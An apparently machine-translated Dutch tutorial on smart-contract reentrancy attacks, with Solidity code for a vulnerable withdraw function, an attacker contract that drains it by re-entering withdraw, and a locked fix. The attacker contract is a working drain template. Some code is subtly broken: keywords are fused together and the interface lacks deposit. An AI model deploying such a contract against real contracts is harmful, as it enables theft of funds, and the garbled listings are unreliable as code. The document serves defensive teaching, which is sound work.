Dit is hoe een van de meest voorkomende slimme contracthacks die Web 3-bedrijven miljoenen hebben gekost, plaatsvindt...
Enkele van de grootste hacks in de blockchain-industrie, waarbij voor miljoenen dollars aan cryptocurrency-tokens werden gestolen, waren het gevolg van re-entrancy-aanvallen. Hoewel deze hacks de afgelopen jaren minder gebruikelijk zijn geworden, vormen ze nog steeds een aanzienlijke bedreiging voor blockchain-applicaties en -gebruikers.
Dus wat zijn re-entrancy-aanvallen precies? Hoe worden ze ingezet? En zijn er maatregelen die ontwikkelaars kunnen nemen om dit te voorkomen?
Wat is een terugkeeraanval?
Een terugkeeraanval vindt plaats wanneer een kwetsbare slimme contractfunctie doet een externe aanroep naar een kwaadaardig contract, waardoor de controle over de transactiestroom tijdelijk wordt opgegeven. Het kwaadwillende contract roept vervolgens herhaaldelijk de oorspronkelijke slimme contractfunctie aan voordat het klaar is met uitvoeren terwijl het zijn geld leegmaakt.
In wezen volgt een opnametransactie op de Ethereum-blockchain een cyclus van drie stappen: saldobevestiging, overmaking en saldo-update. Als een cybercrimineel de cyclus kan kapen vóór de saldo-update, kunnen ze herhaaldelijk geld opnemen totdat een portemonnee leeg is.
Een van de meest beruchte blockchain-hacks, de Ethereum DAO-hack, zoals gedekt door Coindesk, was een terugkeeraanval die leidde tot een verlies van meer dan $ 60 miljoen aan eth en de koers van de op een na grootste cryptocurrency fundamenteel veranderde.
Hoe werkt een terugkeeraanval?
Stel je een bank voor in je woonplaats waar deugdzame inwoners hun geld bewaren; de totale liquiditeit is $ 1 miljoen. De bank heeft echter een gebrekkig boekhoudsysteem: stafleden wachten tot de avond om de banktegoeden bij te werken.
Je bevriende investeerder bezoekt de stad en ontdekt de boekhoudkundige fout. Hij maakt een account aan en stort $100.000. Een dag later trekt hij $ 100.000 terug. Na een uur doet hij nog een poging om $100.000 op te nemen. Omdat de bank zijn saldo niet heeft bijgewerkt, staat er nog steeds $ 100.000. Dus hij krijgt het geld. Hij doet dit herhaaldelijk totdat er geen geld meer is. Stafleden realiseren zich pas dat er geen geld is als ze 's avonds de boeken in orde maken.
In het kader van een smart contract gaat het proces als volgt:
- Een cybercrimineel identificeert een smart contract "X" met een kwetsbaarheid.
- De aanvaller initieert een legitieme transactie naar het doelcontract, X, om geld naar een kwaadaardig contract, "Y" te sturen. Tijdens de uitvoering roept Y de kwetsbare functie in X aan.
- De contractuitvoering van X wordt gepauzeerd of vertraagd terwijl het contract wacht op interactie met de externe gebeurtenis
- Terwijl de uitvoering wordt gepauzeerd, roept de aanvaller herhaaldelijk dezelfde kwetsbare functie in X aan, waardoor de uitvoering ervan zo vaak mogelijk opnieuw wordt geactiveerd
- Bij elke terugkeer wordt de status van het contract gemanipuleerd, waardoor de aanvaller geld van X naar Y kan afvoeren
- Zodra het geld op is, stopt de terugkeer, wordt de uitgestelde uitvoering van X eindelijk voltooid en wordt de status van het contract bijgewerkt op basis van de laatste terugkeer.
Over het algemeen maakt de aanvaller met succes gebruik van de herintredingskwetsbaarheid in zijn voordeel door geld van het contract te stelen.
Een voorbeeld van een terugkeeraanval
Dus hoe kan een terugkeeraanval technisch precies plaatsvinden wanneer deze wordt ingezet? Hier is een hypothetisch slim contract met een herintredingsgateway. We zullen axiomatische naamgeving gebruiken om het gemakkelijker te maken om mee te volgen.
// Vulnerable contract with a reentrancy vulnerability
pragmasolidity ^0.8.0;
contract VulnerableContract {
mapping(address => uint256) private balances;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}
functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
balances[msg.sender] -= amount;
}
}
De Kwetsbaar contract laat gebruikers eth in het contract storten met behulp van de borg functie. Gebruikers kunnen vervolgens hun gedeponeerde eth opnemen met behulp van de terugtrekken functie. Er is echter een kwetsbaarheid voor herintreding in de terugtrekken functie. Wanneer een gebruiker zich terugtrekt, maakt het contract het gevraagde bedrag over naar het adres van de gebruiker voordat het saldo wordt bijgewerkt, waardoor een aanvaller de kans krijgt om misbruik te maken.
Dit is hoe het slimme contract van een aanvaller eruit zou zien.
// Attacker's contract to exploit the reentrancy vulnerability
pragmasolidity ^0.8.0;
interfaceVulnerableContractInterface{
functionwithdraw(uint256 amount)external;
}contract AttackerContract {
VulnerableContractInterface private vulnerableContract;
address private targetAddress;constructor(address _vulnerableContractAddress) {
vulnerableContract = VulnerableContractInterface(_vulnerableContractAddress);
targetAddress = msg.sender;
}// Function to trigger the attack
functionattack() publicpayable{
// Deposit some ether to the vulnerable contract
vulnerableContract.deposit{value: msg.value}();// Call the vulnerable contract's withdraw function
vulnerableContract.withdraw(msg.value);
}// Receive function to receive funds from the vulnerable contract
receive() external payable {
if (address(vulnerableContract).balance >= 1 ether) {
// Reenter the vulnerable contract's withdraw function
vulnerableContract.withdraw(1 ether);
}
}
// Function to steal the funds from the vulnerable contract
functionwithdrawStolenFunds() public{
require(msg.sender == targetAddress, "Unauthorized");
(bool success, ) = targetAddress.call{value: address(this).balance}("");
require(success, "Transfer failed");
}
}
Wanneer de aanval wordt gelanceerd:
- De AanvallerContract neemt het adres van de Kwetsbaar contract in de constructor en slaat het op in de kwetsbaarContract variabel.
- De aanval functie wordt aangeroepen door de aanvaller, waarbij wat eth in het Kwetsbaar contract de... gebruiken borg functie en dan meteen bellen met de terugtrekken functie van de Kwetsbaar contract.
- De terugtrekken functie in de Kwetsbaar contract draagt de gevraagde hoeveelheid eth over aan die van de aanvaller AanvallerContract voordat het saldo wordt bijgewerkt, maar aangezien het contract van de aanvaller wordt onderbroken tijdens het externe gesprek, is de functie nog niet voltooid.
- De ontvangen functie in de AanvallerContract wordt geactiveerd omdat de Kwetsbaar contract verzonden eth naar dit contract tijdens het externe gesprek.
- De ontvangstfunctie controleert of de AanvallerContract saldo is minimaal 1 ether (het bedrag dat moet worden opgenomen), daarna komt het weer in de Kwetsbaar contract door haar te bellen terugtrekken functie weer.
- Stappen drie tot vijf worden herhaald totdat de Kwetsbaar contract geen geld meer heeft en het contract van de aanvaller verzamelt een aanzienlijke hoeveelheid eth.
- Ten slotte kan de aanvaller de Gestolen Fondsen intrekken functie in de AanvallerContract om al het geld dat in hun contract is verzameld te stelen.
De aanval kan erg snel plaatsvinden, afhankelijk van de prestaties van het netwerk. Bij het betrekken van complexe slimme contracten zoals de DAO Hack, die leidde tot de hard fork van Ethereum in Ethereum en Ethereum Classic, de aanval duurt enkele uren.
Hoe een terugkeeraanval te voorkomen
Om een terugkeeraanval te voorkomen, moeten we het kwetsbare slimme contract aanpassen om de best practices voor veilige ontwikkeling van slimme contracten te volgen. In dit geval moeten we het patroon "checks-effects-interactions" implementeren zoals in de onderstaande code.
// Secure contract with the "checks-effects-interactions" pattern
pragmasolidity ^0.8.0;
contract SecureContract {
mapping(address => uint256) private balances;
mapping(address => bool) private isLocked;functiondeposit() publicpayable{
balances[msg.sender] += msg.value;
}functionwithdraw(uint256 amount) public{
require(amount <= balances[msg.sender], "Insufficient balance");
require(!isLocked[msg.sender], "Withdrawal in progress");
// Lock the sender's account to prevent reentrancy
isLocked[msg.sender] = true;// Perform the state change
balances[msg.sender] -= amount;// Interact with the external contract after the state change
(bool success, ) = msg.sender.call{value: amount}("");
require(success, "Transfer failed");
// Unlock the sender's account
isLocked[msg.sender] = false;
}
}
In deze vaste versie hebben we een is gesloten mapping om bij te houden of een bepaald account bezig is met een opname. Wanneer een gebruiker een opname start, controleert het contract of zijn account is vergrendeld (!isLocked[msg.sender]), wat aangeeft dat er momenteel geen andere opname van dezelfde rekening aan de gang is.
Als het account niet is vergrendeld, gaat het contract door met de statuswijziging en externe interactie. Na de statuswijziging en externe interactie wordt het account weer ontgrendeld, waardoor toekomstige opnames mogelijk zijn.
Soorten terugkeeraanvallen
Over het algemeen zijn er drie hoofdtypen herintredingsaanvallen op basis van hun aard van uitbuiting.
- Enkele terugkeeraanval: In dit geval is de kwetsbare functie die de aanvaller herhaaldelijk aanroept dezelfde die vatbaar is voor de re-entrancy gateway. Bovenstaande aanval is een voorbeeld van een enkele herintredingsaanval, die eenvoudig kan worden voorkomen door de juiste controles en vergrendelingen in code te implementeren.
- Cross-functie aanval: In dit scenario maakt een aanvaller gebruik van een kwetsbare functie om een andere functie binnen hetzelfde contract aan te roepen die een status deelt met de kwetsbare. De tweede functie, aangeroepen door de aanvaller, heeft een gewenst effect, waardoor het aantrekkelijker wordt voor uitbuiting. Deze aanval is complexer en moeilijker te detecteren, dus strikte controles en vergrendelingen van onderling verbonden functies zijn nodig om deze te beperken.
- Cross-contract aanval: Deze aanval vindt plaats wanneer een extern contract samenwerkt met een kwetsbaar contract. Tijdens deze interactie wordt de status van het kwetsbare contract in het externe contract aangeroepen voordat het volledig is bijgewerkt. Het gebeurt meestal wanneer meerdere contracten dezelfde variabele delen en sommige de gedeelde variabele onveilig bijwerken. Veilige communicatieprotocollen tussen contracten en periodiek slimme contractcontroles moet worden geïmplementeerd om deze aanval af te wenden.
Re-entrancy-aanvallen kunnen zich in verschillende vormen manifesteren en vereisen daarom specifieke maatregelen om elke aanval te voorkomen.
Veilig blijven tegen terugkeeraanvallen
Re-entrancy-aanvallen hebben aanzienlijke financiële verliezen veroorzaakt en het vertrouwen in blockchain-applicaties ondermijnd. Om contracten te beschermen, moeten ontwikkelaars best practices ijverig toepassen om herintredingskwetsbaarheden te voorkomen.
Ze moeten ook veilige opnamepatronen implementeren, vertrouwde bibliotheken gebruiken en grondige audits uitvoeren om de verdediging van het slimme contract verder te versterken. Door op de hoogte te blijven van opkomende bedreigingen en proactief te zijn met beveiligingsinspanningen, kunnen ze natuurlijk ook de integriteit van blockchain-ecosystemen handhaven.